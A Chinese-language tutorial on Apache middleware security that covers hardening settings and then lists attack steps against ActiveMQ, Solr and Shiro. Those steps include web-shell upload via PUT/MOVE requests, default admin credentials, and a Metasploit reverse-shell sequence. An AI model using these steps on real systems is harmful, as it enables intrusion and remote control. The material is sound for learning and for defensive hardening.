中间件安全-Apache
字数 1342 2025-08-25 22:58:41
Apache中间件安全配置与漏洞分析
1. Web服务器概述
1.1 Apache与Tomcat的关系
-
功能区别:
- Apache:纯静态页面服务器,需通过扩展模块支持PHP/CGI/Perl等动态脚本
- Tomcat:Servlet引擎,支持JSP动态页面
-
整合优势:
- 静态请求由Apache处理
- 动态请求转发给Tomcat处理
- 减少Tomcat的服务开销
-
运行环境:
- 需要Apache+Tomcat+JDK组合运行JSP
- JDK提供数据库连接驱动
1.2 Apache与Nginx的关系
-
Nginx特点:
- 轻量级Web服务器/反向代理服务器
- 内存占用少,并发能力强
- 静态页面处理能力突出
- 反向代理服务表现优秀
-
常见架构:
- Nginx+PHP
- Nginx+Tomcat
- Nginx+Apache+PHP
2. Apache安全配置
2.1 目录遍历防护
-
风险配置:
<Directory "/var/www/html"> Options Indexes FollowSymLinks </Directory> -
安全配置:
<Directory "/var/www/html"> Options -Indexes +FollowSymLinks </Directory>
2.2 隐藏版本信息
- 配置方法:
修改http.conf中的ServerToken字段:ServerTokens Prod # 仅显示"Server: Apache" ServerTokens Major # 显示"Apache/2" ServerTokens Minor # 显示"Apache/2.2" ServerTokens Min # 显示"Apache/2.2.17" ServerTokens OS # 显示"Apache/2.2.17 (Unix)" ServerTokens Full # 显示完整信息
2.3 HTTP方法限制
- 安全配置:
<Location "/"> <LimitExcept GET POST OPTIONS> Order Allow,Deny Deny from all </LimitExcept> </Location> TraceEnable off
2.4 文件解析漏洞
-
漏洞原理:
- Apache从右到左解析文件后缀
- 上传
test.php.qwea会被解析为PHP文件
-
防护措施:
- 严格限制上传文件类型
- 配置
AddHandler指令明确指定处理程序
3. Apache相关组件漏洞
3.1 Apache ActiveMQ漏洞
3.1.1 默认凭据/未授权访问
- 默认端口:8161
- 默认凭据:admin/admin
3.1.2 物理路径泄漏
- 利用方法:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
3.1.3 任意文件上传
- 利用方法:
PUT /fileserver/shell.jsp HTTP/1.1 [shell code]
3.1.4 文件移动漏洞(CVE-2016-3088)
- 影响版本:5.x ~ 5.14.0
- 利用方法:
MOVE /fileserver/shell.jsp HTTP/1.1 Destination: file:///path/to/webapps/admin/shell.jsp
3.1.5 反序列化漏洞(CVE-2015-5254)
- 影响版本:< 5.13.0
- 利用步骤:
- 使用jmet生成payload
- 发送到61616端口
- 通过管理界面触发
3.2 Apache Solr漏洞(CVE-2019-12409)
- 影响版本:8.1.1和8.2.0
- 漏洞原因:默认启用JMX监控服务(18983端口)且无认证
- 利用方法:
use multi/misc/java_jmx_server set RHOSTS target_ip set RPORT 18983 set payload java/meterpreter/reverse_tcp exploit
3.3 Apache Shiro反序列化漏洞
-
影响版本:<= 1.2.4
-
漏洞原因:硬编码AES加密密钥
-
检测方法:
- 检查响应包中的rememberMe标记
- 修改Cookie添加rememberMe=deleteMe
-
利用工具:
https://github.com/kat110/Pentest/tree/master/shiro_rce
4. Apache权限管理
4.1 Linux下权限检查
- 使用命令:
lsof -i:80 - 通常:
- 主进程:root权限
- 子进程:www-data权限
4.2 权限配置文件
- 主配置文件:
/etc/apache2/apache2.conf - 用户/组设置文件:
/etc/apache2/envvars
5. 安全建议
- 定期更新Apache及组件到最新版本
- 禁用不必要的HTTP方法
- 隐藏服务器版本信息
- 限制目录遍历
- 严格控制上传文件类型
- 修改默认凭据
- 监控异常日志
- 最小化服务权限原则